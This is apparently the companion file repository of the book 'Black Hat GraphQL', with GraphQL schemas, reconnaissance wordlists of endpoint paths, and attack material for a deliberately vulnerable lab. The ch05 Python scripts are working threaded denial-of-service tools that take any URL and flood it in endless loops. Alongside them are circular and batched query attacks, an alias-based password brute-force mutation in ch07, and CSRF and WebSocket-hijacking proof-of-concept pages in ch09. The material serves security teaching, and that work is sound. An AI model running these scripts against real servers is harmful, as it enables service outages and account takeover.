├── ch03 ├── .keep └── README.md ├── ch04 ├── README.md ├── common-graphql-endpoints.txt └── sdl.graphql ├── ch08 ├── README.md └── paste_from_file.txt ├── ch05 ├── README.md ├── safe-circular-query.graphql ├── array_based_batch_query.py ├── array_based_circular_queries.py ├── exploit_threaded_field_dup.py ├── exploit_directive_overloading.py ├── introspection.sdl ├── sdl.graphql └── field-duplication.graphql ├── ch06 ├── README.md ├── schema-introspection-canary-query.graphql ├── type-based-introspection-bypass-query.graphql └── cURL-schema-introspection-canary-query ├── ch09 ├── README.md ├── post_csrf_submit.html ├── get_csrf_submit_auto.html ├── post_csrf_submit_auto.html └── websockets_hijack.html ├── ch07 ├── README.md └── password-brute-force.graphql ├── ch10 └── README.md ├── Cover.png ├── ch01 └── README.md ├── ch02 └── README.md ├── resources └── non-production-graphql-urls.txt ├── README.md ├── tools └── README.md └── queries └── introspection_query.txt /ch03/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ch04/README.md: -------------------------------------------------------------------------------- 1 | # Reconnaissance -------------------------------------------------------------------------------- /ch08/README.md: -------------------------------------------------------------------------------- 1 | # Injection 2 | -------------------------------------------------------------------------------- /ch05/README.md: -------------------------------------------------------------------------------- 1 | # Denial of Service 2 | -------------------------------------------------------------------------------- /ch03/README.md: -------------------------------------------------------------------------------- 1 | # GraphQL Attack Surface 2 | -------------------------------------------------------------------------------- /ch06/README.md: -------------------------------------------------------------------------------- 1 | # Information Disclosure 2 | -------------------------------------------------------------------------------- /ch09/README.md: -------------------------------------------------------------------------------- 1 | # Request Forgery and Hijacking 2 | -------------------------------------------------------------------------------- /ch07/README.md: -------------------------------------------------------------------------------- 1 | # Authentication and Authorization Bypasses 2 | -------------------------------------------------------------------------------- /ch10/README.md: -------------------------------------------------------------------------------- 1 | # Disclosed Vulnerabilities and Exploits 2 | -------------------------------------------------------------------------------- /Cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dolevf/Black-Hat-GraphQL/HEAD/Cover.png -------------------------------------------------------------------------------- /ch06/schema-introspection-canary-query.graphql: -------------------------------------------------------------------------------- 1 | { 2 | __schema { 3 | __typename 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /ch06/type-based-introspection-bypass-query.graphql: -------------------------------------------------------------------------------- 1 | { 2 | __type(name:"Query") { 3 | name 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /ch01/README.md: -------------------------------------------------------------------------------- 1 | # A Primer on GraphQL 2 | 3 | Online REST & GraphQL API Lab 4 | - http://lab.blackhatgraphql.com/start 5 | -------------------------------------------------------------------------------- /ch08/paste_from_file.txt: -------------------------------------------------------------------------------- 1 |

Uploaded Paste

2 |

This is an example paste from a file.

3 | 4 | -------------------------------------------------------------------------------- /ch06/cURL-schema-introspection-canary-query: -------------------------------------------------------------------------------- 1 | curl http://localhost:5013/graphql -H 'Content-Type: application/json' --data-binary '{“query”:“{__schema {__typename}}”}' -------------------------------------------------------------------------------- /ch05/safe-circular-query.graphql: -------------------------------------------------------------------------------- 1 | query { 2 | pastes { 3 | owner { 4 | pastes { 5 | owner { 6 | name 7 | } 8 | } 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /ch05/array_based_batch_query.py: -------------------------------------------------------------------------------- 1 | # Array-based Batch Queries using Python 2 | 3 | import requests 4 | 5 | queries = [ 6 | {"query":"query {systemHealth}"}, 7 | {"query":"query {systemHealth}"} 8 | ] 9 | 10 | r = requests.post('http://localhost:5013/graphql', json=queries) 11 | 12 | print(r.json()) 13 | -------------------------------------------------------------------------------- /ch02/README.md: -------------------------------------------------------------------------------- 1 | # Setting up a GraphQL Security Lab 2 | 3 | ## Kali Linux Virtual Machine 4 | **Version**: `2021.4a` (64-bit) - this is the version used in the Black Hat GraphQL book. 5 | 6 | **Links**: 7 | - VMware Workstation - https://kali.download/virtual-images/kali-2021.4a/kali-linux-2021.4a-vmware-amd64.7z.torrent 8 | - Oracle VirtualBox - https://kali.download/virtual-images/kali-2021.4a/kali-linux-2021.4a-virtualbox-amd64.ova.torrent 9 | 10 | -------------------------------------------------------------------------------- /ch04/common-graphql-endpoints.txt: -------------------------------------------------------------------------------- 1 | /graphql 2 | /graphiql 3 | /v1/graphql 4 | /v2/graphql 5 | /v3/graphql 6 | /v1/graphiql 7 | /v2/graphiql 8 | /v3/graphiql 9 | /playground 10 | /v1/playground 11 | /v2/playground 12 | /v3/playground 13 | /api/v1/playground 14 | /api/v2/playground 15 | /api/v3/playground 16 | /console 17 | /api/graphql 18 | /api/graphiql 19 | /explorer 20 | /api/v1/graphql 21 | /api/v2/graphql 22 | /api/v3/graphql 23 | /api/v1/graphiql 24 | /api/v2/graphiql 25 | /api/v3/graphiql 26 | -------------------------------------------------------------------------------- /ch09/post_csrf_submit.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Click the button below to see the proof of concept!

4 | 5 |
6 | 7 | 8 |
9 | 10 | 11 | -------------------------------------------------------------------------------- /ch09/get_csrf_submit_auto.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

This form is going to submit itself in 2 seconds...

5 |
6 | 7 | 8 |
9 | 10 | 11 | 26 | 27 | -------------------------------------------------------------------------------- /ch09/post_csrf_submit_auto.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

This form is going to submit itself in 2 seconds...

5 |
6 | 7 | 8 |
9 | 10 | 11 | 26 | 27 | -------------------------------------------------------------------------------- /ch05/array_based_circular_queries.py: -------------------------------------------------------------------------------- 1 | # Array-based Query Batching with Circular Queries 2 | 3 | import requests 4 | 5 | ARRAY_LENGTH = 5 6 | FIELD_REPEAT = 10 7 | 8 | query = {"query":"query {"} 9 | field_1_name = 'pastes' 10 | field_2_name = 'owner' 11 | 12 | count = 0 13 | for _ in range(FIELD_REPEAT): 14 | count += 1 15 | closing_braces = '} ' * FIELD_REPEAT * 2 + '}' 16 | payload = "{0} {{ {1} {{ ".format(field_1_name, field_2_name) 17 | query["query"] += payload 18 | 19 | if count == FIELD_REPEAT: 20 | query["query"] += '__typename' + closing_braces 21 | 22 | print('Query:', query['query']) 23 | print('Query Repeated:', FIELD_REPEAT, 'times') 24 | print('Query Depth:', FIELD_REPEAT * 2 + 1, 'levels') 25 | print('Array Length:', ARRAY_LENGTH, 'elements') 26 | 27 | queries = [] 28 | for _ in range(ARRAY_LENGTH): 29 | queries.append(query) 30 | 31 | r = requests.post('http://localhost:5013/graphql', json=queries) 32 | 33 | print(r.json()) 34 | -------------------------------------------------------------------------------- /ch05/exploit_threaded_field_dup.py: -------------------------------------------------------------------------------- 1 | # Threaded Field Duplication Attack 2 | import sys 3 | import requests 4 | import threading 5 | import time 6 | 7 | THREADS = 50 8 | 9 | def usage(): 10 | print('Usage: python3 exploit_threaded_field_dup.py ') 11 | print('Example: python3 exploit_threaded_field_dup.py http://localhost:5013/graphql') 12 | sys.exit(1) 13 | 14 | if len(sys.argv) < 2: 15 | print('Missing URL') 16 | usage() 17 | 18 | GRAPHQL_URL = sys.argv[1] 19 | 20 | payload = 'content \n title \n' * 1000 21 | query = {'query':'query { \n ' + payload + '}'} 22 | 23 | def DoS(): 24 | try: 25 | r = requests.post(GRAPHQL_URL, json=query) 26 | print('Time took: {} seconds '.format(r.elapsed.total_seconds())) 27 | print('Response:', r.json()) 28 | except Exception as e: 29 | print('Error', e.message) 30 | 31 | while True: 32 | print('Running...') 33 | time.sleep(2) 34 | for _ in range(THREADS): 35 | t = threading.Thread(target=DoS, args=()) 36 | t.start() 37 | -------------------------------------------------------------------------------- /resources/non-production-graphql-urls.txt: -------------------------------------------------------------------------------- 1 | staging.[domain.com]/graphql 2 | development.[domain.com]/graphql 3 | dev.[domain.com]/graphql 4 | test.[domain.com]/graphql 5 | stg.[domain.com]/graphql 6 | tst.[domain.com]/graphql 7 | staging.[domain.com/v1/graphql 8 | development.[domain.com]/v1/graphql 9 | dev.[domain.com]/v1/graphql 10 | test.[domain.com]/v1/graphql 11 | stg.[domain.com]/v1/graphql 12 | tst.[domain.com]/v1/graphql 13 | staging.[domain.com]/v2/graphql 14 | development.[domain.com]/v2/graphql 15 | dev.[domain.com]/v2/graphql 16 | test.[domain.com]/v2/graphql 17 | stg.[domain.com]/v2/graphql 18 | tst.[domain.com]/v2/graphql 19 | staging.[domain.com]/graphiql 20 | development.[domain.com]/graphiql 21 | dev.[domain.com]/graphiql 22 | test.[domain.com]/graphiql 23 | stg.[domain.com]/graphiql 24 | tst.[domain.com]/graphiql 25 | staging.[domain.com]/playground 26 | development.[domain.com]/playground 27 | dev.[domain.com]/playground 28 | test.[domain.com]/playground 29 | stg.[domain.com]/playground 30 | tst.[domain.com]/playground -------------------------------------------------------------------------------- /ch07/password-brute-force.graphql: -------------------------------------------------------------------------------- 1 | mutation { 2 | alias1: login(username: "admin", password: "admin") { 3 | accessToken 4 | } 5 | alias2: login(username: "admin", password: "password") { 6 | accessToken 7 | } 8 | alias3: login(username: "admin", password: "pass") { 9 | accessToken 10 | } 11 | alias4: login(username: "admin", password: "pass123") { 12 | accessToken 13 | } 14 | alias5: login(username: "admin", password: "password123") { 15 | accessToken 16 | } 17 | alias6: login(username: "operator", password: "operator") { 18 | accessToken 19 | } 20 | alias7: login(username: "operator", password: "password") { 21 | accessToken 22 | } 23 | alias8: login(username: "operator", password: "pass") { 24 | accessToken 25 | } 26 | alias9: login(username: "operator", password: "pass123"){ 27 | accessToken 28 | } 29 | alias10: login(username: "operator", password: "password123"){ 30 | accessToken 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /ch05/exploit_directive_overloading.py: -------------------------------------------------------------------------------- 1 | # Threaded Directive Overloading Attack 2 | 3 | import sys 4 | import threading 5 | import requests 6 | import time 7 | 8 | def usage(): 9 | print('Usage: python3 {} '.format(sys.argv[0])) 10 | print('Example: python3 {} http://localhost:5013/graphql 30000'.format(sys.argv[0])) 11 | sys.exit() 12 | 13 | if len(sys.argv) < 3: 14 | print('Missing arguments!') 15 | usage() 16 | 17 | URL = sys.argv[1] 18 | FORCE_MULTIPLIER = int(sys.argv[2]) 19 | 20 | def start_attack(): 21 | payload = '@dos' * FORCE_MULTIPLIER 22 | query = {'query': 'query { __typename ' + payload + ' }'} 23 | try: 24 | r = requests.post(URL, json=query, verify=False) 25 | print('\t HTTP Response', r.text) 26 | print('\t HTTP Code: ' , str(r.status_code)) 27 | except: 28 | pass 29 | 30 | threads = [] 31 | 32 | while True: 33 | time.sleep(2) 34 | start = time.time() 35 | start_attack() 36 | print(f'Time request took: {time.time() - start}') 37 | 38 | for i in range(300): 39 | t = threading.Thread(target=start_attack) 40 | threads.append(t) 41 | t.start() 42 | 43 | for t in threads: 44 | t.join() 45 | -------------------------------------------------------------------------------- /ch09/websockets_hijack.html: -------------------------------------------------------------------------------- 1 | 5 | 6 |

WebSockets Hijacking and GraphQL Subscription Response Exfiltration Demo

7 | 8 | 9 | 38 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Black Hat GraphQL 2 | Book files for **Black Hat GraphQL**. 3 | 4 | 5 | 6 | 9 | 13 | 14 |
7 | Black Hat GraphQL Cover 8 | 10 |

Black Hat GraphQL is for anyone interested in learning how to break and protect GraphQL APIs with the aid of offensive security testing. Whether you’re a penetration tester, security analyst, or software engineer, you’ll learn how to attack GraphQL APIs, develop hardening procedures, build automated security testing into your development pipeline, and validate controls, all with no prior exposure to GraphQL required.

11 |

Buy the book from No Starch Press

12 |
15 | 16 | Enjoy! 17 | 18 | *** 19 | 20 | ## Errata 21 | * Page 83 Listing 4-14: `grep` command should be corrected to: `grep -Hnio "graphiql\|graphql-playground" dvga-report/source/*` 22 | * Page 112: The sentence "_In DVGA, run the following query [...]_" should read: "_In **Altair**, run the following query [...]_". 23 | * Page 177: The `COOKIES` variable value should read `{"session":"session-secret"}` 24 | 25 | ## Notes 26 | * Due to changes in InQL, you may need to install the tool from the its V4 branch, latest version being [4.0.7](https://github.com/doyensec/inql/releases/tag/v4.0.7) 27 | -------------------------------------------------------------------------------- /tools/README.md: -------------------------------------------------------------------------------- 1 | # GraphQL Security Tools 2 | This section includes popular GraphQL Security tools and frameworks you could use in your lab environment. 3 | 4 | ## Frameworks 5 | - [Damn Vulnerable GraphQL Application](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application/) 6 | - [GraphQL Security Labs](https://github.com/david3107/graphql-security-labs) 7 | - [GraphQL Threat Matrix](https://github.com/nicholasaleks/graphql-threat-matrix/) 8 | 9 | ## Tools 10 | - [Clairvoyance](https://github.com/nikitastupin/clairvoyance) 11 | - [InQL](https://github.com/doyensec/inql) 12 | - [Graphw00f](https://github.com/dolevf/graphw00f) 13 | - [BatchQL](https://github.com/assetnote/batchql) 14 | - [GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) 15 | - [graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) 16 | - [Nmap NSE for GraphQL](https://github.com/dolevf/nmap-graphql-introspection-nse/tree/master) 17 | - [shapeshifter](https://github.com/szski/shapeshifter) 18 | - [GraphQL Cop](https://github.com/dolevf/graphql-cop) 19 | - [CrackQL](https://github.com/nicholasaleks/crackQL) 20 | - [Graphinder](https://github.com/Escape-Technologies/graphinder) 21 | - [GraphQuail](https://github.com/forcesunseen/graphquail) 22 | 23 | ## Burp Suite Plugins 24 | - [GraphQL Raider](https://portswigger.net/bappstore/4841f0d78a554ca381c65b26d48207e6) 25 | - [AutoGQL](https://github.com/FWDSEC/burp-auto-gql) 26 | 27 | ## Clients 28 | - [Altair Client](https://altair.sirmuel.design/) 29 | 30 | ## Visualization 31 | - [Voyager](https://ivangoncharov.github.io/graphql-voyager/) 32 | - [SpectaQL](https://github.com/anvilco/spectaql) 33 | -------------------------------------------------------------------------------- /queries/introspection_query.txt: -------------------------------------------------------------------------------- 1 | # source: GraphQL Voyager 2 | 3 | query IntrospectionQuery { 4 | __schema { 5 | 6 | queryType { name } 7 | mutationType { name } 8 | subscriptionType { name } 9 | types { 10 | ...FullType 11 | } 12 | directives { 13 | name 14 | description 15 | 16 | locations 17 | args { 18 | ...InputValue 19 | } 20 | } 21 | } 22 | } 23 | 24 | fragment FullType on __Type { 25 | kind 26 | name 27 | description 28 | fields(includeDeprecated: true) { 29 | name 30 | description 31 | args { 32 | ...InputValue 33 | } 34 | type { 35 | ...TypeRef 36 | } 37 | isDeprecated 38 | deprecationReason 39 | } 40 | inputFields { 41 | ...InputValue 42 | } 43 | interfaces { 44 | ...TypeRef 45 | } 46 | enumValues(includeDeprecated: true) { 47 | name 48 | description 49 | isDeprecated 50 | deprecationReason 51 | } 52 | possibleTypes { 53 | ...TypeRef 54 | } 55 | } 56 | 57 | fragment InputValue on __InputValue { 58 | name 59 | description 60 | type { ...TypeRef } 61 | defaultValue 62 | } 63 | 64 | fragment TypeRef on __Type { 65 | kind 66 | name 67 | ofType { 68 | kind 69 | name 70 | ofType { 71 | kind 72 | name 73 | ofType { 74 | kind 75 | name 76 | ofType { 77 | kind 78 | name 79 | ofType { 80 | kind 81 | name 82 | ofType { 83 | kind 84 | name 85 | ofType { 86 | kind 87 | name 88 | } 89 | } 90 | } 91 | } 92 | } 93 | } 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /ch05/introspection.sdl: -------------------------------------------------------------------------------- 1 | # https://spec.graphql.org/October2021/#sec-Schema-Introspection.Schema-Introspection-Schema 2 | 3 | type __Schema { 4 | description: String 5 | types: [__Type!]! 6 | queryType: __Type! 7 | mutationType: __Type 8 | subscriptionType: __Type 9 | directives: [__Directive!]! 10 | } 11 | 12 | type __Type { 13 | kind: __TypeKind! 14 | name: String 15 | description: String 16 | # must be non-null for OBJECT and INTERFACE, otherwise null. 17 | fields(includeDeprecated: Boolean = false): [__Field!] 18 | # must be non-null for OBJECT and INTERFACE, otherwise null. 19 | interfaces: [__Type!] 20 | # must be non-null for INTERFACE and UNION, otherwise null. 21 | possibleTypes: [__Type!] 22 | # must be non-null for ENUM, otherwise null. 23 | enumValues(includeDeprecated: Boolean = false): [__EnumValue!] 24 | # must be non-null for INPUT_OBJECT, otherwise null. 25 | inputFields: [__InputValue!] 26 | # must be non-null for NON_NULL and LIST, otherwise null. 27 | ofType: __Type 28 | # may be non-null for custom SCALAR, otherwise null. 29 | specifiedByURL: String 30 | } 31 | 32 | enum __TypeKind { 33 | SCALAR 34 | OBJECT 35 | INTERFACE 36 | UNION 37 | ENUM 38 | INPUT_OBJECT 39 | LIST 40 | NON_NULL 41 | } 42 | 43 | type __Field { 44 | name: String! 45 | description: String 46 | args: [__InputValue!]! 47 | type: __Type! 48 | isDeprecated: Boolean! 49 | deprecationReason: String 50 | } 51 | 52 | type __InputValue { 53 | name: String! 54 | description: String 55 | type: __Type! 56 | defaultValue: String 57 | } 58 | 59 | type __EnumValue { 60 | name: String! 61 | description: String 62 | isDeprecated: Boolean! 63 | deprecationReason: String 64 | } 65 | 66 | type __Directive { 67 | name: String! 68 | description: String 69 | locations: [__DirectiveLocation!]! 70 | args: [__InputValue!]! 71 | isRepeatable: Boolean! 72 | } 73 | 74 | enum __DirectiveLocation { 75 | QUERY 76 | MUTATION 77 | SUBSCRIPTION 78 | FIELD 79 | FRAGMENT_DEFINITION 80 | FRAGMENT_SPREAD 81 | INLINE_FRAGMENT 82 | VARIABLE_DEFINITION 83 | SCHEMA 84 | SCALAR 85 | OBJECT 86 | FIELD_DEFINITION 87 | ARGUMENT_DEFINITION 88 | INTERFACE 89 | UNION 90 | ENUM 91 | ENUM_VALUE 92 | INPUT_OBJECT 93 | INPUT_FIELD_DEFINITION 94 | } 95 | -------------------------------------------------------------------------------- /ch04/sdl.graphql: -------------------------------------------------------------------------------- 1 | schema { 2 | query: Query 3 | mutation: Mutations 4 | subscription: Subscription 5 | } 6 | 7 | """ 8 | Displays the network associated with an IP Address (CIDR or Net). 9 | """ 10 | directive @show_network( 11 | style: String! 12 | ) on FIELD | FRAGMENT_SPREAD | INLINE_FRAGMENT 13 | 14 | type Query { 15 | pastes(public: Boolean, limit: Int, filter: String): [PasteObject] 16 | paste(id: Int, title: String): PasteObject 17 | systemUpdate: String 18 | systemDiagnostics(username: String, password: String, cmd: String): String 19 | systemDebug(arg: String): String 20 | systemHealth: String 21 | users(id: Int): [UserObject] 22 | readAndBurn(id: Int): PasteObject 23 | search(keyword: String): [SearchResult] 24 | audits: [AuditObject] 25 | deleteAllPastes: Boolean 26 | me(token: String): UserObject 27 | } 28 | 29 | type PasteObject { 30 | id: ID! 31 | title: String 32 | content: String 33 | public: Boolean 34 | userAgent: String 35 | ipAddr: String 36 | ownerId: Int 37 | burn: Boolean 38 | owner: OwnerObject 39 | } 40 | 41 | type OwnerObject { 42 | id: ID! 43 | name: String 44 | paste: [PasteObject] 45 | pastes: [PasteObject] 46 | } 47 | 48 | type UserObject { 49 | id: ID! 50 | username(capitalize: Boolean): String 51 | password: String! 52 | } 53 | 54 | union SearchResult = PasteObject | UserObject 55 | 56 | type AuditObject { 57 | id: ID! 58 | gqloperation: String 59 | gqlquery: String 60 | timestamp: DateTime 61 | } 62 | 63 | """ 64 | The `DateTime` scalar type represents a DateTime 65 | value as specified by 66 | [iso8601](https://en.wikipedia.org/wiki/ISO_8601). 67 | """ 68 | scalar DateTime 69 | 70 | type Mutations { 71 | createPaste( 72 | burn: Boolean = false 73 | content: String 74 | public: Boolean = true 75 | title: String 76 | ): CreatePaste 77 | editPaste(content: String, id: Int, title: String): EditPaste 78 | deletePaste(id: Int): DeletePaste 79 | uploadPaste(content: String!, filename: String!): UploadPaste 80 | importPaste( 81 | host: String! 82 | path: String! 83 | port: Int 84 | scheme: String! 85 | ): ImportPaste 86 | createUser(userData: UserInput!): CreateUser 87 | login(password: String, username: String): Login 88 | } 89 | 90 | type CreatePaste { 91 | paste: PasteObject 92 | } 93 | 94 | type EditPaste { 95 | paste: PasteObject 96 | } 97 | 98 | type DeletePaste { 99 | result: Boolean 100 | } 101 | 102 | type UploadPaste { 103 | content: String 104 | filename: String 105 | result: String 106 | } 107 | 108 | type ImportPaste { 109 | result: String 110 | } 111 | 112 | type CreateUser { 113 | user: UserObject 114 | } 115 | 116 | input UserInput { 117 | username: String! 118 | email: String! 119 | password: String! 120 | } 121 | 122 | type Login { 123 | accessToken: String 124 | refreshToken: String 125 | } 126 | 127 | type Subscription { 128 | paste(id: Int, title: String): PasteObject 129 | } 130 | -------------------------------------------------------------------------------- /ch05/sdl.graphql: -------------------------------------------------------------------------------- 1 | schema { 2 | query: Query 3 | mutation: Mutations 4 | subscription: Subscription 5 | } 6 | 7 | """ 8 | Displays the network associated with an IP Address (CIDR or Net). 9 | """ 10 | directive @show_network( 11 | style: String! 12 | ) on FIELD | FRAGMENT_SPREAD | INLINE_FRAGMENT 13 | 14 | type Query { 15 | pastes(public: Boolean, limit: Int, filter: String): [PasteObject] 16 | paste(id: Int, title: String): PasteObject 17 | systemUpdate: String 18 | systemDiagnostics(username: String, password: String, cmd: String): String 19 | systemDebug(arg: String): String 20 | systemHealth: String 21 | users(id: Int): [UserObject] 22 | readAndBurn(id: Int): PasteObject 23 | search(keyword: String): [SearchResult] 24 | audits: [AuditObject] 25 | deleteAllPastes: Boolean 26 | me(token: String): UserObject 27 | } 28 | 29 | type PasteObject { 30 | id: ID! 31 | title: String 32 | content: String 33 | public: Boolean 34 | userAgent: String 35 | ipAddr: String 36 | ownerId: Int 37 | burn: Boolean 38 | owner: OwnerObject 39 | } 40 | 41 | type OwnerObject { 42 | id: ID! 43 | name: String 44 | paste: [PasteObject] 45 | pastes: [PasteObject] 46 | } 47 | 48 | type UserObject { 49 | id: ID! 50 | username(capitalize: Boolean): String 51 | password: String! 52 | } 53 | 54 | union SearchResult = PasteObject | UserObject 55 | 56 | type AuditObject { 57 | id: ID! 58 | gqloperation: String 59 | gqlquery: String 60 | timestamp: DateTime 61 | } 62 | 63 | """ 64 | The `DateTime` scalar type represents a DateTime 65 | value as specified by 66 | [iso8601](https://en.wikipedia.org/wiki/ISO_8601). 67 | """ 68 | scalar DateTime 69 | 70 | type Mutations { 71 | createPaste( 72 | burn: Boolean = false 73 | content: String 74 | public: Boolean = true 75 | title: String 76 | ): CreatePaste 77 | editPaste(content: String, id: Int, title: String): EditPaste 78 | deletePaste(id: Int): DeletePaste 79 | uploadPaste(content: String!, filename: String!): UploadPaste 80 | importPaste( 81 | host: String! 82 | path: String! 83 | port: Int 84 | scheme: String! 85 | ): ImportPaste 86 | createUser(userData: UserInput!): CreateUser 87 | login(password: String, username: String): Login 88 | } 89 | 90 | type CreatePaste { 91 | paste: PasteObject 92 | } 93 | 94 | type EditPaste { 95 | paste: PasteObject 96 | } 97 | 98 | type DeletePaste { 99 | result: Boolean 100 | } 101 | 102 | type UploadPaste { 103 | content: String 104 | filename: String 105 | result: String 106 | } 107 | 108 | type ImportPaste { 109 | result: String 110 | } 111 | 112 | type CreateUser { 113 | user: UserObject 114 | } 115 | 116 | input UserInput { 117 | username: String! 118 | email: String! 119 | password: String! 120 | } 121 | 122 | type Login { 123 | accessToken: String 124 | refreshToken: String 125 | } 126 | 127 | type Subscription { 128 | paste(id: Int, title: String): PasteObject 129 | } 130 | -------------------------------------------------------------------------------- /ch05/field-duplication.graphql: -------------------------------------------------------------------------------- 1 | query { 2 | pastes { 3 | content 4 | content 5 | content 6 | content 7 | content 8 | content 9 | content 10 | content 11 | content 12 | content 13 | content 14 | content 15 | content 16 | content 17 | content 18 | content 19 | content 20 | content 21 | content 22 | content 23 | content 24 | content 25 | content 26 | content 27 | content 28 | content 29 | content 30 | content 31 | content 32 | content 33 | content 34 | content 35 | content 36 | content 37 | content 38 | content 39 | content 40 | content 41 | content 42 | content 43 | content 44 | content 45 | content 46 | content 47 | content 48 | content 49 | content 50 | content 51 | content 52 | content 53 | content 54 | content 55 | content 56 | content 57 | content 58 | content 59 | content 60 | content 61 | content 62 | content 63 | content 64 | content 65 | content 66 | content 67 | content 68 | content 69 | content 70 | content 71 | content 72 | content 73 | content 74 | content 75 | content 76 | content 77 | content 78 | content 79 | content 80 | content 81 | content 82 | content 83 | content 84 | content 85 | content 86 | content 87 | content 88 | content 89 | content 90 | content 91 | content 92 | content 93 | content 94 | content 95 | content 96 | content 97 | content 98 | content 99 | content 100 | content 101 | content 102 | content 103 | content 104 | content 105 | content 106 | content 107 | content 108 | content 109 | content 110 | content 111 | content 112 | content 113 | content 114 | content 115 | content 116 | content 117 | content 118 | content 119 | content 120 | content 121 | content 122 | content 123 | content 124 | content 125 | content 126 | content 127 | content 128 | content 129 | content 130 | content 131 | content 132 | content 133 | content 134 | content 135 | content 136 | content 137 | content 138 | content 139 | content 140 | content 141 | content 142 | content 143 | content 144 | content 145 | content 146 | content 147 | content 148 | content 149 | content 150 | content 151 | content 152 | content 153 | content 154 | content 155 | content 156 | content 157 | content 158 | content 159 | content 160 | content 161 | content 162 | content 163 | content 164 | content 165 | content 166 | content 167 | content 168 | content 169 | content 170 | content 171 | content 172 | content 173 | content 174 | content 175 | content 176 | content 177 | content 178 | content 179 | content 180 | content 181 | content 182 | content 183 | content 184 | content 185 | content 186 | content 187 | content 188 | content 189 | content 190 | content 191 | content 192 | content 193 | content 194 | content 195 | content 196 | content 197 | content 198 | content 199 | content 200 | content 201 | content 202 | content 203 | content 204 | content 205 | content 206 | content 207 | content 208 | content 209 | content 210 | content 211 | content 212 | content 213 | content 214 | content 215 | content 216 | content 217 | content 218 | content 219 | content 220 | content 221 | content 222 | content 223 | content 224 | content 225 | content 226 | content 227 | content 228 | content 229 | content 230 | content 231 | content 232 | content 233 | content 234 | content 235 | content 236 | content 237 | content 238 | content 239 | content 240 | content 241 | content 242 | content 243 | content 244 | content 245 | content 246 | content 247 | content 248 | content 249 | content 250 | content 251 | content 252 | content 253 | content 254 | content 255 | content 256 | content 257 | content 258 | content 259 | content 260 | content 261 | content 262 | content 263 | content 264 | content 265 | content 266 | content 267 | content 268 | content 269 | content 270 | content 271 | content 272 | content 273 | content 274 | content 275 | content 276 | content 277 | content 278 | content 279 | content 280 | content 281 | content 282 | content 283 | content 284 | content 285 | content 286 | content 287 | content 288 | content 289 | content 290 | content 291 | content 292 | content 293 | content 294 | content 295 | content 296 | content 297 | content 298 | content 299 | content 300 | content 301 | content 302 | content 303 | content 304 | content 305 | content 306 | content 307 | content 308 | content 309 | content 310 | content 311 | content 312 | content 313 | content 314 | content 315 | content 316 | content 317 | content 318 | content 319 | content 320 | content 321 | content 322 | content 323 | content 324 | content 325 | content 326 | content 327 | content 328 | content 329 | content 330 | content 331 | content 332 | content 333 | content 334 | content 335 | content 336 | content 337 | content 338 | content 339 | content 340 | content 341 | content 342 | content 343 | content 344 | content 345 | content 346 | content 347 | content 348 | content 349 | content 350 | content 351 | content 352 | content 353 | content 354 | content 355 | content 356 | content 357 | content 358 | content 359 | content 360 | content 361 | content 362 | content 363 | content 364 | content 365 | content 366 | content 367 | content 368 | content 369 | content 370 | content 371 | content 372 | content 373 | content 374 | content 375 | content 376 | content 377 | content 378 | content 379 | content 380 | content 381 | content 382 | content 383 | content 384 | content 385 | content 386 | content 387 | content 388 | content 389 | content 390 | content 391 | content 392 | content 393 | content 394 | content 395 | content 396 | content 397 | content 398 | content 399 | content 400 | content 401 | content 402 | content 403 | content 404 | content 405 | content 406 | content 407 | content 408 | content 409 | content 410 | content 411 | content 412 | content 413 | content 414 | content 415 | content 416 | content 417 | content 418 | content 419 | content 420 | content 421 | content 422 | content 423 | content 424 | content 425 | content 426 | content 427 | content 428 | content 429 | content 430 | content 431 | content 432 | content 433 | content 434 | content 435 | content 436 | content 437 | content 438 | content 439 | content 440 | content 441 | content 442 | content 443 | content 444 | content 445 | content 446 | content 447 | content 448 | content 449 | content 450 | content 451 | content 452 | content 453 | content 454 | content 455 | content 456 | content 457 | content 458 | content 459 | content 460 | content 461 | content 462 | content 463 | content 464 | content 465 | content 466 | content 467 | content 468 | content 469 | content 470 | content 471 | content 472 | content 473 | content 474 | content 475 | content 476 | content 477 | content 478 | content 479 | content 480 | content 481 | content 482 | content 483 | content 484 | content 485 | content 486 | content 487 | content 488 | content 489 | content 490 | content 491 | content 492 | content 493 | content 494 | content 495 | content 496 | content 497 | content 498 | content 499 | content 500 | content 501 | content 502 | content 503 | content 504 | content 505 | content 506 | content 507 | content 508 | content 509 | content 510 | content 511 | content 512 | content 513 | content 514 | content 515 | content 516 | content 517 | content 518 | content 519 | content 520 | content 521 | content 522 | content 523 | content 524 | content 525 | content 526 | content 527 | content 528 | content 529 | content 530 | content 531 | content 532 | content 533 | content 534 | content 535 | content 536 | content 537 | content 538 | content 539 | content 540 | content 541 | content 542 | content 543 | content 544 | content 545 | content 546 | content 547 | content 548 | content 549 | content 550 | content 551 | content 552 | content 553 | content 554 | content 555 | content 556 | content 557 | content 558 | content 559 | content 560 | content 561 | content 562 | content 563 | content 564 | content 565 | content 566 | content 567 | content 568 | content 569 | content 570 | content 571 | content 572 | content 573 | content 574 | content 575 | content 576 | content 577 | content 578 | content 579 | content 580 | content 581 | content 582 | content 583 | content 584 | content 585 | content 586 | content 587 | content 588 | content 589 | content 590 | content 591 | content 592 | content 593 | content 594 | content 595 | content 596 | content 597 | content 598 | content 599 | content 600 | content 601 | content 602 | content 603 | content 604 | content 605 | content 606 | content 607 | content 608 | content 609 | content 610 | content 611 | content 612 | content 613 | content 614 | content 615 | content 616 | content 617 | content 618 | content 619 | content 620 | content 621 | content 622 | content 623 | content 624 | content 625 | content 626 | content 627 | content 628 | content 629 | content 630 | content 631 | content 632 | content 633 | content 634 | content 635 | content 636 | content 637 | content 638 | content 639 | content 640 | content 641 | content 642 | content 643 | content 644 | content 645 | content 646 | content 647 | content 648 | content 649 | content 650 | content 651 | content 652 | content 653 | content 